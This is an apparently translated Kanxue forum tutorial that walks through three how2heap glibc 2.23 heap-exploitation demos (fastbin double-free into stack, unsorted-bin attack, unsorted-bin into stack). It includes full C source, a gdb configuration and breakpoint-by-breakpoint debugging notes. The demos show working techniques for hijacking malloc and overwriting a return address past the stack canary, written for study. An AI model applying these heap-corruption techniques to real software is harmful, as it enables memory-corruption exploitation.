Deep Understanding of How2Heap from Assembly Language

The management method of ptmalloc2, the chunk structure, and the bins model have been explained very clearly in the Overview of GLIBC heap exploitation techniques and ctfwiki.

This article records my learning process of heap exploitation. This series will update a chapter every day, and it is expected to complete updates for glibc2.23, glibc2.27, and glibc2.34.

Main Tools:
pwncli (https://github.com/RoderickChan/pwncli)
PwnGdb (https://github.com/scwuaptx/Pwngdb) gdb configuration reference (https://bbs.kanxue.com/thread-276203.htm)
Main Operating Environment:
wsl-kali. Configuration reference in my other article (https://bbs.kanxue.com/thread-276122.htm). Docker desktop images: ubuntu:16.04, ubuntu:18.04, ubuntu:22.04 can be compiled with -g for easier debugging. ida pro 7.7.7 + gdb debugging.
My .gdbinit file:
source ~/pwndbg/gdbinit.py
source ~/peda/peda.py
source ~/Pwngdb/pwngdb.py
source ~/Pwngdb/angelheap/gdbinit.py

define hook-run
python
import angelheap
angelheap.init_angelheap()
end
end

#set context-clear-screen on
#set debug-events off

#source /root/splitmind/gdbinit.py
#python

#sections = "regs"

#mode = input("source/disasm/mixed mode:?(s/d/m)") or "d"

#import splitmind

#spliter = splitmind.Mind()
#spliter.select("main").right(display="regs", size="50%")
#gdb.execute("set context-stack-lines 10")

#legend_on = "code"
#if mode == "d":
#    legend_on = "disasm"
#    sections += " disasm"
#    spliter.select("main").above(display="disasm", size="70%", banner="none")
#    gdb.execute("set context-code-lines 30")

#elif mode == "s":
#    sections += " code"
#    spliter.select("main").above(display="code", size="70%", banner="none")
#    gdb.execute("set context-source-code-lines 30")

#else:
#    sections += " disasm code"
#    spliter.select("main").above(display="code", size="70%")
#    spliter.select("code").below(display="disasm", size="40%")
#    gdb.execute("set context-code-lines 8")
#    gdb.execute("set context-source-code-lines 20")

#sections += " args stack backtrace expressions"
#spliter.show("legend", on=legend_on)
#spliter.show("stack", on="regs")
#spliter.show("backtrace", on="regs")
#spliter.show("args", on="regs")
#spliter.show("expressions", on="args")

#gdb.execute("set context-sections \"%s\"" % sections)
#gdb.execute("set show-retaddr-reg on")

#spliter.build()

#end

Source Code Analysis of Glibc2.23

fastbin_dup_into_stack

Source Code:
#include <stdio.h>
#include <stdlib.h>

int main()
{
    fprintf(stderr, "This file extends on fastbin_dup.c by tricking malloc into\n"
           "returning a pointer to a controlled location (in this case, the stack).\n");

    unsigned long long stack_var;

    fprintf(stderr, "The address we want malloc() to return is %p.\n", 8+(char *)&stack_var);

    fprintf(stderr, "Allocating 3 buffers.\n");
    int *a = malloc(8);
    int *b = malloc(8);
    int *c = malloc(8);

    fprintf(stderr, "1st malloc(8): %p\n", a);
    fprintf(stderr, "2nd malloc(8): %p\n", b);
    fprintf(stderr, "3rd malloc(8): %p\n", c);

    fprintf(stderr, "Freeing the first one...\n");
    free(a);

    fprintf(stderr, "If we free %p again, things will crash because %p is at the top of the free list.\n", a, a);
    // free(a);

    fprintf(stderr, "So, instead, we'll free %p.\n", b);
    free(b);

    fprintf(stderr, "Now, we can free %p again, since it's not the head of the free list.\n", a);
    free(a);

    fprintf(stderr, "Now the free list has [ %p, %p, %p ]. "
        "We'll now carry out our attack by modifying data at %p.\n", a, b, a, a);
    unsigned long long *d = malloc(8);

    fprintf(stderr, "1st malloc(8): %p\n", d);
    fprintf(stderr, "2nd malloc(8): %p\n", malloc(8));
    fprintf(stderr, "Now the free list has [ %p ].\n", a);
    fprintf(stderr, "Now, we have access to %p while it remains at the head of the free list.\n"
        "so now we are writing a fake free size (in this case, 0x20) to the stack,\n"
        "so that malloc will think there is a free chunk there and agree to\n"
        "return a pointer to it.\n", a);
    stack_var = 0x20;

    fprintf(stderr, "Now, we overwrite the first 8 bytes of the data at %p to point right before the 0x20.\n", a);
    *d = (unsigned long long) (((char*)&stack_var) - sizeof(d));

    fprintf(stderr, "3rd malloc(8): %p, putting the stack address on the free list\n", malloc(8));
    fprintf(stderr, "4th malloc(8): %p\n", malloc(8));
}
Compiled using ubuntu:16.04.
Deep Understanding of How2Heap from Assembly Language
Using pwncli to rewrite rpath.
Deep Understanding of How2Heap from Assembly Language
Set a breakpoint at 0x400743 after malloc three times.
Deep Understanding of How2Heap from Assembly Language
Check heap information, three fastbin heap chunks, f1, f2, f3.
Deep Understanding of How2Heap from Assembly Language
Set a breakpoint at 0x40083B after free(f1), free(f2), free(f1).
Deep Understanding of How2Heap from Assembly Language
Check fastbinY information.
Deep Understanding of How2Heap from Assembly Language
A double free is formed on the fastbins chain of size 0x20.
After malloc two more times, set a breakpoint at 0x40089F.
Deep Understanding of How2Heap from Assembly Language
Check bins again; after applying two times, fastbins still has f1 (0x60300), and 0x60300 points to 0x603020 without change, 0x603020 points to 0x60300 also remains unchanged, and the chunk in fastbins is marked as prev_inuse being 1, so the ABA structure is still preserved in fastbins.
Deep Understanding of How2Heap from Assembly Language
Next, check the assembly code, set StackVar value to 0x20, in order to place it in the 0x20 size fastbins, then point f1 to the position of StackVar plus 0x8, which is the prev_size position. The StackVar is placed into the 0x20 fastbins. Set a breakpoint at 0x40092C.
Deep Understanding of How2Heap from Assembly Language
Check heap information.
Deep Understanding of How2Heap from Assembly Language
At this point, applying two more times will allow us to allocate on the stack.
Deep Understanding of How2Heap from Assembly Language
Set a breakpoint at 0x40095c.
Deep Understanding of How2Heap from Assembly Language
It can be seen that we have already allocated the value on the stack.

unsorted_bin_attack

Source Code:
#include <stdio.h>
#include <stdlib.h>

int main(){
    fprintf(stderr, "This file demonstrates unsorted bin attack by writing a large unsigned long value into stack\n");
    fprintf(stderr, "In practice, unsorted bin attack is generally prepared for further attacks, such as rewriting the \
"
           "global variable global_max_fast in libc for further fastbin attack\n\n");

    unsigned long stack_var=0;
    fprintf(stderr, "Let's first look at the target we want to rewrite on stack:\n");
    fprintf(stderr, "%p: %ld\n\n", &stack_var, stack_var);

    unsigned long *p=malloc(400);
    fprintf(stderr, "Now, we allocate the first normal chunk on the heap at: %p\n",p);
    fprintf(stderr, "And allocate another normal chunk in order to avoid consolidating the top chunk with\n"
           "the first one during the free()\n\n");
    malloc(500);

    free(p);
    fprintf(stderr, "We free the first chunk now and it will be inserted in the unsorted bin with its bk pointer \n"
           "pointing to %p\n",(void*)p[1]);

    //------------VULNERABILITY-----------

    p[1]=(unsigned long)(&stack_var-2);
    fprintf(stderr, "Now emulating a vulnerability that can overwrite the victim->bk pointer\n");
    fprintf(stderr, "And we write it with the target address-16 (in 32-bits machine, it should be target address-8):%p\n\n",(void*)p[1]);

    //------------------------------------

    malloc(400);
    fprintf(stderr, "Let's malloc again to get the chunk we just free. During this time, the target should have already been \n"
           "rewritten:\n");
    fprintf(stderr, "%p: %p\n", &stack_var, (void*)stack_var);
}
Compiled using ubuntu:16.04, then using pwncli to rewrite rpath.
First, two heap blocks were allocated; the first heap block does not belong to fastbin size and first enters the unsorted bin, the second heap block is to prevent the first heap block from merging with the top chunk. Set a breakpoint before freeing the first heap block.
Deep Understanding of How2Heap from Assembly Language
Check bins and heap information:
Deep Understanding of How2Heap from Assembly Language
After freeing the first chunk, bins and heap information, the first chunk in the unsorted bin points to main_arena+0x58.
Deep Understanding of How2Heap from Assembly Language
Next, using UAF to direct the bk pointer of the first chunk in the unsorted bin (the pointer stored in rax points to fd, rax+8 points to bk, bk points to the chunk added afterwards) to the prev_size position of StackVar.
Deep Understanding of How2Heap from Assembly Language
Set a breakpoint at 0x4007D9 to check heap and bins information. It can be seen that the bk pointer of the chunk at 0x602000 has been modified to a stack value, and fd points to main_arena+0x58.
Deep Understanding of How2Heap from Assembly Language
After mallocing the first chunk from the unsorted bin again, only StackVar-0x10 remains in the unsorted bin.
Deep Understanding of How2Heap from Assembly Language
Set a breakpoint at 0x400828. Check heap and bins information.
Deep Understanding of How2Heap from Assembly Language
It can be seen that the fd pointer of StackVar has been modified to the value of main_arena+0x58.

unsorted_bin_into_stack

Source Code:
#include <stdio.h>
#include <stdlib.h>
#include <stdint.h>
#include <string.h>
#include <assert.h>

void jackpot(){ printf("Nice jump d00d\n"); exit(0); }

int main() {
    intptr_t stack_buffer[4] = {0};

    printf("Allocating the victim chunk\n");
    intptr_t* victim = malloc(0x100);

    printf("Allocating another chunk to avoid consolidating the top chunk with the small one during the free()\n");
    intptr_t* p1 = malloc(0x100);

    printf("Freeing the chunk %p, it will be inserted in the unsorted bin\n", victim);
    free(victim);

    printf("Create a fake chunk on the stack");
    printf("Set size for next allocation and the bk pointer to any writable address");
    stack_buffer[1] = 0x100 + 0x10;
    stack_buffer[3] = (intptr_t)stack_buffer;

    //------------VULNERABILITY-----------
    printf("Now emulating a vulnerability that can overwrite the victim->size and victim->bk pointer\n");
    printf("Size should be different from the next request size to return fake_chunk and need to pass the check 2*SIZE_SZ (> 16 on x64) && < av->system_mem\n");
    victim[-1] = 32;
    victim[1] = (intptr_t)stack_buffer; // victim->bk is pointing to stack
    //------------------------------------

    printf("Now next malloc will return the region of our fake chunk: %p\n", &stack_buffer[2]);
    char *p2 = malloc(0x100);
    printf("malloc(0x100): %p\n", p2);

    intptr_t sc = (intptr_t)jackpot; // Emulating our in-memory shellcode
    memcpy((p2+40), &sc, 8); // This bypasses stack-smash detection since it jumps over the canary

    assert((long)__builtin_return_address(0) == (long)jackpot);
}
Compiled using ubuntu 16.04, then using pwncli to rewrite rpath.

Deep Understanding of How2Heap from Assembly Language

Author: jelasin

https://bbs.kanxue.com/user-home-958172.htm

*This article is an excellent piece from the Kanxue forum, originally by jelasin, please indicate that it comes from the Kanxue community when reprinting.
Deep Understanding of How2Heap from Assembly Language

# Previous Recommendations

1、Setting Up LLVM Environment on Windows

2、In-depth Study of Smali Syntax

3、Android Hardening and Decryption Sharing

4、Initial Exploration of Flutter Reverse Engineering

5、A Simple Practice to Understand Stack Space Transfer

6、Record of Unpacking and Fixing a Certain Shield Mobile Game Hardening

Deep Understanding of How2Heap from Assembly Language

Leave a Comment